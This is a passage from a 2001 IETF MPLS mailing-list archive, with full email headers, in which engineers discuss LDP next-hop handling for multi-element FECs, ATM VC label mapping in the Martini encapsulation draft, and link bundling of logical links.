> is something else.
>  Suppose (for sake of specificity) we are in downstream unsolicited
> ordered
> advertisement mode.
> 
>  My take is that the next hop for FEC1 is NO ROUTE, and that the
> label being mapped is not used for switching/forwarding *at all*.
> 
> 
>  If my take is right, then
> 
> 
> 
> label_map(label, FEC, otherargs);
> 
>  Is not at all like:
> 
> for each ELEMENT in FEC:
>   label_map(label, ELEMENT, otherargs)
> 
>  Unless the next hop for each (or no) ELEMENT is MsgSource.
> 
> 
> 
>   So, is my take right?
> 
> 
>  Thanks to any who can respond!
> 
> CLK
> 
> 



From owner-mpls@UU.NET  Wed May  2 15:48:01 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA21359
	for <mpls-archive@lists.ietf.org>; Wed, 2 May 2001 15:48:00 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknhv05512;
	Wed, 2 May 2001 19:45:59 GMT
Received: by mail-control.mail.uu.net 
	id QQknhv23068
	for mpls-outgoing; Wed, 2 May 2001 19:45:28 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQknhv23051
	for <mpls@mail-control.mail.uu.net>; Wed, 2 May 2001 19:45:08 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQknhu01931
	for <mpls@uu.net>; Wed, 2 May 2001 19:44:00 GMT
Received: from asc_exch.asc.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: outlook.asc.com [63.82.128.45])
	id QQknhu08180
	for <mpls@uu.net>; Wed, 2 May 2001 19:44:00 GMT
Received: by ASC_EXCH with Internet Mail Service (5.5.2653.19)
	id <HLX0Z48A>; Wed, 2 May 2001 15:36:06 -0400
Message-ID: <4AA0C69EF2C3D411B94600B0D04931BD14B835@ASC_EXCH>
From: Jim Loehndorf <JLoehndorf@ASC.com>
To: "'mpls@uu.net'" <mpls@UU.NET>
Subject: VC Consistancy in the encap specification
Date: Wed, 2 May 2001 15:36:04 -0400 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C0D33F.206E3DF0"
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0D33F.206E3DF0
Content-Type: text/plain;
	charset="iso-8859-1"

MPLS encapsulation team,

I need help in understanding the intent of the
"draft-martini-12circuit-encap-mpls-01.txt" document.  Section 4.2.2, ATM
Cell Mode suggests that every ATM cell is prepended by a 4 byte header with
a valid VPI & VCI address field.  This is in addition to the VC label that
encapsulates the ATM cell(s).  Must a one-to-one relationship exist between
the VPI/VCI address field of the 4 byte ATM header and the VC label?  Or can
multiple VCs (multiple VPI/VCI addresses) exist multiplexed into a single VC
label?

Jim Loehndorf
ASC



------_=_NextPart_001_01C0D33F.206E3DF0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2653.12">
<TITLE>VC Consistancy in the encap specification</TITLE>
</HEAD>
<BODY>

<P ALIGN=3DLEFT><FONT COLOR=3D"#000000" SIZE=3D2 =
FACE=3D"Arial">MPLS</FONT> <FONT COLOR=3D"#000000" SIZE=3D2 =
FACE=3D"Arial">encapsulation</FONT> <FONT COLOR=3D"#000000" SIZE=3D2 =
FACE=3D"Arial">team,</FONT></P>

<P ALIGN=3DLEFT><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Arial">I need =
help in understanding the intent of the =
"draft-martini-12circuit-encap-mpls-01.txt</FONT><FONT =
COLOR=3D"#000000" SIZE=3D2 FACE=3D"Arial">" document.&nbsp; Section =
4.2.2, ATM</FONT> <FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Arial">Cell =
Mode</FONT> <FONT COLOR=3D"#000000" SIZE=3D2 =
FACE=3D"Arial">suggests</FONT><FONT COLOR=3D"#000000" SIZE=3D2 =
FACE=3D"Arial"> that every ATM cell is prepended by a 4 byte header =
with a</FONT> <FONT COLOR=3D"#000000" SIZE=3D2 =
FACE=3D"Arial">valid</FONT> <FONT COLOR=3D"#000000" SIZE=3D2 =
FACE=3D"Arial">VPI &amp; VCI</FONT><FONT COLOR=3D"#000000" SIZE=3D2 =
FACE=3D"Arial"> address field</FONT><FONT COLOR=3D"#000000" SIZE=3D2 =
FACE=3D"Arial">.&nbsp; This is in addition to the VC label that =
encapsulates the ATM cell(s)</FONT><FONT COLOR=3D"#000000" SIZE=3D2 =
FACE=3D"Arial">.&nbsp; Must a one-to-one relationship exist between the =
VPI/VCI address field of the 4 byte ATM header and the VC label?&nbsp; =
Or can</FONT> <FONT COLOR=3D"#000000" SIZE=3D2 =
FACE=3D"Arial">multiple</FONT> <FONT COLOR=3D"#000000" SIZE=3D2 =
FACE=3D"Arial">VCs (multiple</FONT> <FONT COLOR=3D"#000000" SIZE=3D2 =
FACE=3D"Arial">VPI/VCI addresses</FONT><FONT COLOR=3D"#000000" SIZE=3D2 =
FACE=3D"Arial">)</FONT><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Arial"> =
exist</FONT> <FONT COLOR=3D"#000000" SIZE=3D2 =
FACE=3D"Arial">multiplexed</FONT> <FONT COLOR=3D"#000000" SIZE=3D2 =
FACE=3D"Arial">into a single VC label?</FONT></P>

<P ALIGN=3DLEFT><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Arial">Jim =
Loehndorf</FONT></P>

<P ALIGN=3DLEFT><FONT COLOR=3D"#000000" SIZE=3D2 =
FACE=3D"Arial">ASC</FONT></P>
<BR>

</BODY>
</HTML>
------_=_NextPart_001_01C0D33F.206E3DF0--


From owner-mpls@UU.NET  Wed May  2 16:11:38 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA22058
	for <mpls-archive@lists.ietf.org>; Wed, 2 May 2001 16:11:37 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknhw08255;
	Wed, 2 May 2001 20:09:45 GMT
Received: by mail-control.mail.uu.net 
	id QQknhw13249
	for mpls-outgoing; Wed, 2 May 2001 20:09:12 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQknhw13142
	for <mpls@mail-control.mail.uu.net>; Wed, 2 May 2001 20:09:05 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQknhw16248
	for <mpls@UU.NET>; Wed, 2 May 2001 20:07:32 GMT
Received: from yarilo.pluris.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: host200.pluris.com [208.227.9.200])
	id QQknhw05178
	for <mpls@UU.NET>; Wed, 2 May 2001 20:07:31 GMT
Received: from pluris.com (do101085.pluris.com [172.16.55.241])
	by yarilo.pluris.com (8.9.2/8.9.1) with ESMTP id NAA24999;
	Wed, 2 May 2001 13:07:26 -0700 (PDT)
Message-ID: <3AF068FE.7A619C0@pluris.com>
Date: Wed, 02 May 2001 13:07:26 -0700
From: Chris Kuszmaul <fyodor@pluris.com>
Organization: Pluris
X-Mailer: Mozilla 4.7 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Shahram Davari <Shahram_Davari@pmc-sierra.com>
CC: mpls@UU.NET
Subject: Re: FEC next hop when FEC has multiple elements
References: <9DC5E2ABE65BD54CA9088DA3194461D6037A6C0D@BBY1EXM01>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit


Hi Shahram,

 Thanks. Just to be clear: You are saying that the LSR that receives the
label mapping must check to see whether all the elements in the FEC-TLV have
the same next hop, since the LSR that advertised the label has no way of
knowing the next hop for the receiver of the mapping.

  In particular, the receiver of the mapping cannot simply compute the next
hop for the first FEC element in the FEC-TLV, and use that as the next hop,
relying on the assertion that all FEC elements in the TLV must have the same
next hop the guarantee must come from the receiver, not the sender.

  Is this correct?

 Thanks

CLK



Shahram Davari wrote:

> Hi Chris,
>
> All FEC elements in an FEC-TLV, must have the same next hop.
>
> Yours,
> -Shahram
>
> > -----Original Message-----
> > From: Chris Kuszmaul [mailto:fyodor@pluris.com]
> > Sent: Wednesday, May 02, 2001 1:45 PM
> > To: mpls@UU.NET
> > Subject: FEC next hop when FEC has multiple elements
> >
> >
> >
> >  Having studied the LDP spec., some code that attempts to implement
> > the LDP spec, and several previous threads on the subject of FEC
> > aggregation
> > and deaggragation, I have formulated a little question, for which I am
> > almost certain of the answer, but there is this nagging doubt.
> >
> >
> >  In the LDP spec, in appendix A for the receive label mapping
> > procedure, section A.1.2, page 101, we have:
> >
> > LMp.11 Determine the next hop for the FEC
> >
> >
> >  Suppose FEC1 is a set of n FEC elements: F1 and F2 ... Fn.
> >  Suppose the next hop for F1 is the MsgSource, but for F2 ... Fn it
> > is something else.
> >  Suppose (for sake of specificity) we are in downstream unsolicited
> > ordered
> > advertisement mode.
> >
> >  My take is that the next hop for FEC1 is NO ROUTE, and that the
> > label being mapped is not used for switching/forwarding *at all*.
> >
> >
> >  If my take is right, then
> >
> >
> >
> > label_map(label, FEC, otherargs);
> >
> >  Is not at all like:
> >
> > for each ELEMENT in FEC:
> >   label_map(label, ELEMENT, otherargs)
> >
> >  Unless the next hop for each (or no) ELEMENT is MsgSource.
> >
> >
> >
> >   So, is my take right?
> >
> >
> >  Thanks to any who can respond!
> >
> > CLK
> >
> >



From owner-mpls@UU.NET  Wed May  2 16:17:59 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA22291
	for <mpls-archive@lists.ietf.org>; Wed, 2 May 2001 16:17:58 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknhx08358;
	Wed, 2 May 2001 20:16:09 GMT
Received: by mail-control.mail.uu.net 
	id QQknhx15142
	for mpls-outgoing; Wed, 2 May 2001 20:15:19 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQknhx14996
	for <mpls@mail-control.mail.uu.net>; Wed, 2 May 2001 20:15:01 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQknhw02770
	for <mpls@UU.NET>; Wed, 2 May 2001 20:14:53 GMT
Received: from mailgate.pit.comms.marconi.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQknhw06740
	for <mpls@UU.NET>; Wed, 2 May 2001 20:14:53 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id QAA18968
	for <mpls@UU.NET>; Wed, 2 May 2001 16:14:50 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id QAA06802
	for <mpls@UU.NET>; Wed, 2 May 2001 16:14:51 -0400 (EDT)
Message-ID: <3AF06AB7.81EE10AB@marconi.com>
Date: Wed, 02 May 2001 16:14:47 -0400
From: David Charlap <david.charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: FEC next hop when FEC has multiple elements
References: <9DC5E2ABE65BD54CA9088DA3194461D6037A6C0D@BBY1EXM01>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Shahram Davari wrote:
> 
> All FEC elements in an FEC-TLV, must have the same next hop.

This is obvious, but I think the question is a little more involved than
this.

It is possible for a router to see a single next-hop for two different
prefixes, but its upstream router may see these prefixes as having two
different next-hops.  (I have worked out some topologies where this is
true, but they don't easily lend themselves to ASCII-art.)

The downstream router decides to aggregate the prefixes into a single
FEC and sends out a label mapping.  As far as the downstream router is
concerned, this is fine - if it receives packets for either prefix, it
will handle them identically.

The upstream router, upon receiving this label mapping realizes that the
sender is only next-hop for one of the prefixes, but someone else is a
closer next-hop for the other.

The question is what it should do with this.

IMO, the upstream router should reject the FEC (send back a label
release).  The FEC is malformed from its point of view, because the
prefixes don't all share a common next-hop.

Upon receiving the label release, the downstream router should realize
that the aggregation is improper, and should then send out two separate
mappings - one for each prefix.  The upstream router can then use one,
and either reject or hold on to the other (depending on the label
retention mode.)

Appendix A, however, is silent on what should happen in this situation.

-- David


From owner-mpls@UU.NET  Wed May  2 16:43:51 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA22906
	for <mpls-archive@lists.ietf.org>; Wed, 2 May 2001 16:43:51 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknhy09218;
	Wed, 2 May 2001 20:41:54 GMT
Received: by mail-control.mail.uu.net 
	id QQknhy17810
	for mpls-outgoing; Wed, 2 May 2001 20:41:23 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQknhy17746
	for <mpls@mail-control.mail.uu.net>; Wed, 2 May 2001 20:41:17 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQknhy03765
	for <mpls@UU.NET>; Wed, 2 May 2001 20:40:56 GMT
Received: from dnsmx2pya.telcordia.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: dnsmx2pya.telcordia.com [128.96.20.32])
	id QQknhy17470
	for <mpls@UU.NET>; Wed, 2 May 2001 20:40:56 GMT
Received: from notes870.cc.telcordia.com (notes870.cc.telcordia.com [128.96.244.12])
	by dnsmx2pya.telcordia.com (8.9.3/8.9.3) with ESMTP id QAA03223
	for <mpls@UU.NET>; Wed, 2 May 2001 16:33:50 -0400 (EDT)
Subject: Re: Question about logical link in Link bundling
To: mpls@UU.NET
From: "Anuj Bhatnagar" <abhatnag@telcordia.com>
Date: Wed, 2 May 2001 16:33:48 -0400
Message-ID: <OFD0C27804.331ABB35-ON85256A40.006C4FE7@cc.telcordia.com>
X-MIMETrack: Serialize by Router on notes870/Telcordia(Release 5.0.6a |January 17, 2001) at
 05/02/2001 04:33:48 PM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk



This is a good point and I kind of agree with Kireeti.  If we define our
domain to be just IP (which I believe it is for this document) then
*logical* connectivity between routers can be bundled into one link.
Another reason for it is that if we have two or more interfaces between
peering routers then we may not know which route a packet is going to take
to get to the next hop.  However, if we are defining inter layer
(SONET/SDH/FR - Layer 1, ATM - Layer 2, and IP - Layer 3) somewhere in any
IETF document and also defining the correlation between the layers then
these *logical* links cannot be bundled into one link for all the layers
(ITU G805 clearly specify how to handle layered networks).  So, if any IETF
document that specifies multiple layers correlation and have such statement
like all links can be bundled into one link between routers should be
addressed and corrected.  Does anybody know such document(s)?

Regards,
Anuj






Kireeti Kompella <kireeti@juniper.net> on 05/02/2001 02:17:28 PM

To:   mpls@UU.NET
cc:    (bcc: Anuj Bhatnagar/Telcordia)
Subject:  Re: Question about logical link in Link bundling



Hi Tom,

>          Perhaps the text be clarified to explicitly include
> logical links? I understood the text to read that both physical
> and logical links were allowed.

Two points:
1) Terminology: calling a T1 in a channelized T3, or an STS-3c in
   an OC-48 a *logical* link will confuse lots of folks.
2) From a routing point of view, there is entirely no difference
   between an STS-3c in an OC-48, and a "standalone" STS-3c/OC-3c.

So, while I'm not opposed to making the above "clarification", it
seems unnecessary; moreover, there are plenty of other documents
that would then need this same "clarification".

Kireeti.






From owner-mpls@UU.NET  Wed May  2 18:22:42 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA25283
	for <mpls-archive@lists.ietf.org>; Wed, 2 May 2001 18:22:40 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknif00353;
	Wed, 2 May 2001 22:20:51 GMT
Received: by mail-control.mail.uu.net 
	id QQknif05537
	for mpls-outgoing; Wed, 2 May 2001 22:19:32 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQknif05517
	for <mpls@mail-control.mail.uu.net>; Wed, 2 May 2001 22:19:20 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQknif10531
	for <mpls@UU.NET>; Wed, 2 May 2001 22:17:57 GMT
Received: from yarilo.pluris.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: host200.pluris.com [208.227.9.200])
	id QQknif27021
	for <mpls@UU.NET>; Wed, 2 May 2001 22:17:56 GMT
Received: from pluris.com (do101085.pluris.com [172.16.55.241])
	by yarilo.pluris.com (8.9.2/8.9.1) with ESMTP id PAA29075;
	Wed, 2 May 2001 15:17:55 -0700 (PDT)
Message-ID: <3AF08792.4A56B50F@pluris.com>
Date: Wed, 02 May 2001 15:17:54 -0700
From: Chris Kuszmaul <fyodor@pluris.com>
Organization: Pluris
X-Mailer: Mozilla 4.7 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: David Charlap <david.charlap@marconi.com>
CC: mpls@UU.NET
Subject: Re: FEC next hop when FEC has multiple elements
References: <9DC5E2ABE65BD54CA9088DA3194461D6037A6C0D@BBY1EXM01> <3AF06AB7.81EE10AB@marconi.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit


 Hi David,

 I am delighted to see we are thinking along the same lines. I agree with
your opinion of what ought to happen, but I feel that the spec, while
*unclear* is actually also unambiguous (and the spec also, largely, agrees
with what you think should happen). I think that a strict reading of the LDP
spec gives your basic interpretation (in the case of conservative label
retention the label is released, but in the case of liberal retention, I do
not think that anything in particular is required of the receiver of the
'bad' FEC in terms of notifying the sender). The 'strict' reading depends on
an interpretation of what a 'next hop' is for an FEC with multiple FEC
elements: That is: the next hop for FEC  F1 will be the same as for  FEC F2
if  they each represent the same 'packet set'.

 An FEC identifies the set of IP packets which may be mapped to the LSP
associated with the FEC. Suppose that the set of packets that F1 maps to its
LSP is the same set of packets that F2 maps to the same LSP. I submit that
the two FECs are 'equal'. In particular, that their next hop on a given
router always resolves to the same value.

 Now, I am hoping everyone is sort of twitching their fingers towards the
delete button thinking 'that's obvious' or 'that's circular' Hold on:

 Let F1 = { 1.1.1.0/24} (The set of FEC elements consisting of the single
prefix 1.1.1.x)
 Let F2 = {1.1.1.0, 1.1.1.1, 1.1.1.2,....,1.1.1.255} (The set of 256 FEC
elements that enumerate every possible address in 1.1.1.x)

 Now, obviously, these two are "equal" FECs, in terms of the set of packets
that get mapped to the LSP.

 Now, suppose LSR "N" receives a label mapping from LSR "E": <F1, Label1>
 Also, suppose that the next hop for 1.1.1.0 is "E", but the next hop for
every other element is "Q".
 As I understand it, this means that 'obviously' the next hop for 1.1.1.0/24
is a NOROUTE.
 Thus, by *definition*, on "E",  the next hop for F2  is NOROUTE as well.

 But some of my imaginary friends have intimated  that "N" should advertise
F3 = {1.1.1.0} to its peers. (In fact, I think this is not a bad intent, but
it seems contrary to the LDP spec)

CLK




David Charlap wrote:

> Shahram Davari wrote:
> >
> > All FEC elements in an FEC-TLV, must have the same next hop.
>
> This is obvious, but I think the question is a little more involved than
> this.
>
> It is possible for a router to see a single next-hop for two different
> prefixes, but its upstream router may see these prefixes as having two
> different next-hops.  (I have worked out some topologies where this is
> true, but they don't easily lend themselves to ASCII-art.)
>
> The downstream router decides to aggregate the prefixes into a single
> FEC and sends out a label mapping.  As far as the downstream router is
> concerned, this is fine - if it receives packets for either prefix, it
> will handle them identically.
>
> The upstream router, upon receiving this label mapping realizes that the
> sender is only next-hop for one of the prefixes, but someone else is a
> closer next-hop for the other.
>
> The question is what it should do with this.
>
> IMO, the upstream router should reject the FEC (send back a label
> release).  The FEC is malformed from its point of view, because the
> prefixes don't all share a common next-hop.
>
> Upon receiving the label release, the downstream router should realize
> that the aggregation is improper, and should then send out two separate
> mappings - one for each prefix.  The upstream router can then use one,
> and either reject or hold on to the other (depending on the label
> retention mode.)
>
> Appendix A, however, is silent on what should happen in this situation.
>
> -- David



From owner-mpls@UU.NET  Wed May  2 18:40:07 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA25540
	for <mpls-archive@lists.ietf.org>; Wed, 2 May 2001 18:40:07 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknig20125;
	Wed, 2 May 2001 22:38:21 GMT
Received: by mail-control.mail.uu.net 
	id QQknig07310
	for mpls-outgoing; Wed, 2 May 2001 22:37:50 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQknig07296
	for <mpls@mail-control.mail.uu.net>; Wed, 2 May 2001 22:37:39 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQknig06674
	for <mpls@UU.NET>; Wed, 2 May 2001 22:37:25 GMT
Received: from mailgate.pit.comms.marconi.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQknig18619
	for <mpls@UU.NET>; Wed, 2 May 2001 22:37:25 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id SAA29746
	for <mpls@UU.NET>; Wed, 2 May 2001 18:37:22 -0400 (EDT)
Received: from marconi.com (lego-king.dc.fore.com [169.144.136.180])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id SAA06413
	for <mpls@UU.NET>; Wed, 2 May 2001 18:37:24 -0400 (EDT)
Message-ID: <3AF08C24.86F44B07@marconi.com>
Date: Wed, 02 May 2001 18:37:24 -0400
From: Jack Brennen <John.Brennen@marconi.com>
X-Mailer: Mozilla 4.75 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: FEC next hop when FEC has multiple elements
References: <9DC5E2ABE65BD54CA9088DA3194461D6037A6C0D@BBY1EXM01> <3AF06AB7.81EE10AB@marconi.com> <3AF08792.4A56B50F@pluris.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Chris Kuszmaul wrote:

>  Let F1 = { 1.1.1.0/24} (The set of FEC elements consisting of the single
> prefix 1.1.1.x)
>  Let F2 = {1.1.1.0, 1.1.1.1, 1.1.1.2,....,1.1.1.255} (The set of 256 FEC
> elements that enumerate every possible address in 1.1.1.x)
> 
>  Now, obviously, these two are "equal" FECs, in terms of the set of packets
> that get mapped to the LSP.

Um, this may be intuitively "obvious" to some, but it's not really
correct
according to section 2.1 of RFC 3036 :-)

Let there be a third FEC in the picture:  F3 = { 1.1.1.16/28 }

Assume that the next hop for the entire 1.1.1.0/24 range is router R2.

If R2 sends me these label mappings:

       F1 -> Label A
       F3 -> Label C

then I forward anything in the F3 range using Label C, and the rest of
the
1.1.1.x range using Label A.

On the other hand, if R2 sends me these label mappings:

       F2 -> Label B
       F3 -> Label C

then I forward anything in the 1.1.1.x range using Label B.

This is because section 2.1 of the RFC calls for using the longest
prefix match.  1.1.1.16/28 is favored over 1.1.1.0/24, but
1.1.1.16/32 beats them both.

   Jack


From owner-mpls@UU.NET  Wed May  2 19:36:16 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA26381
	for <mpls-archive@lists.ietf.org>; Wed, 2 May 2001 19:36:16 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknik23590;
	Wed, 2 May 2001 23:34:26 GMT
Received: by mail-control.mail.uu.net 
	id QQknik00957
	for mpls-outgoing; Wed, 2 May 2001 23:33:52 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQknik00946
	for <mpls@mail-control.mail.uu.net>; Wed, 2 May 2001 23:33:45 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQknik20565
	for <mpls@UU.NET>; Wed, 2 May 2001 23:32:21 GMT
Received: from yarilo.pluris.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: host200.pluris.com [208.227.9.200])
	id QQknik14274
	for <mpls@UU.NET>; Wed, 2 May 2001 23:32:20 GMT
Received: from pluris.com (do101085.pluris.com [172.16.55.241])
	by yarilo.pluris.com (8.9.2/8.9.1) with ESMTP id QAA01302;
	Wed, 2 May 2001 16:32:18 -0700 (PDT)
Message-ID: <3AF09902.5835EC72@pluris.com>
Date: Wed, 02 May 2001 16:32:18 -0700
From: Chris Kuszmaul <fyodor@pluris.com>
Organization: Pluris
X-Mailer: Mozilla 4.7 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Jack Brennen <John.Brennen@marconi.com>
CC: mpls@UU.NET
Subject: Re: FEC next hop when FEC has multiple elements
References: <9DC5E2ABE65BD54CA9088DA3194461D6037A6C0D@BBY1EXM01> <3AF06AB7.81EE10AB@marconi.com> <3AF08792.4A56B50F@pluris.com> <3AF08C24.86F44B07@marconi.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

 Thanks Jack, I overlooked that point. But I do not think it alters the
conclusion about what the next hop should be for an FEC with multiple elements.

  F1 and F2 (below) are not fully equal, in the sense of 'substitution' in the
presence of competition. Indeed, they are not equal when in the presence of one
another, since F2 would get all the packets.  In fact, there is a whole raft of
senses in which they are not equal.

  However in the sense defined in, oh, say section 2.1 of RFC 3036 (;-)) they
*are* equal:

"The FEC defines the set of IP packets which may be mapped to that LSP."

 The FECs both represent the exact same set of packets that *may* be injected
into the LSP associated with the FEC.That is, if you take the largest possible
set of packets that could be injected into each (among all possible
configurations of other FECs), then you get the same largest possible set for
each. In such a situation, the next hop calculation for each FEC must be the
same.  Since the next hop calculation for an FEC ought not change as a function
of the presence of other competing FECs, this means that in all circumstances F1
and F2 must have the same next hop.

  But, I was indeed wrong when I said (without qualification) that the same set
of packets get mapped to the LSP (for F1 and F2). I owe you a (small) chocolate
mint.

CLK

Jack Brennen wrote:

> Chris Kuszmaul wrote:
>
> >  Let F1 = { 1.1.1.0/24} (The set of FEC elements consisting of the single
> > prefix 1.1.1.x)
> >  Let F2 = {1.1.1.0, 1.1.1.1, 1.1.1.2,....,1.1.1.255} (The set of 256 FEC
> > elements that enumerate every possible address in 1.1.1.x)
> >
> >  Now, obviously, these two are "equal" FECs, in terms of the set of packets
> > that get mapped to the LSP.
>
> Um, this may be intuitively "obvious" to some, but it's not really
> correct
> according to section 2.1 of RFC 3036 :-)
>
> Let there be a third FEC in the picture:  F3 = { 1.1.1.16/28 }
>
> Assume that the next hop for the entire 1.1.1.0/24 range is router R2.
>
> If R2 sends me these label mappings:
>
>        F1 -> Label A
>        F3 -> Label C
>
> then I forward anything in the F3 range using Label C, and the rest of
> the
> 1.1.1.x range using Label A.
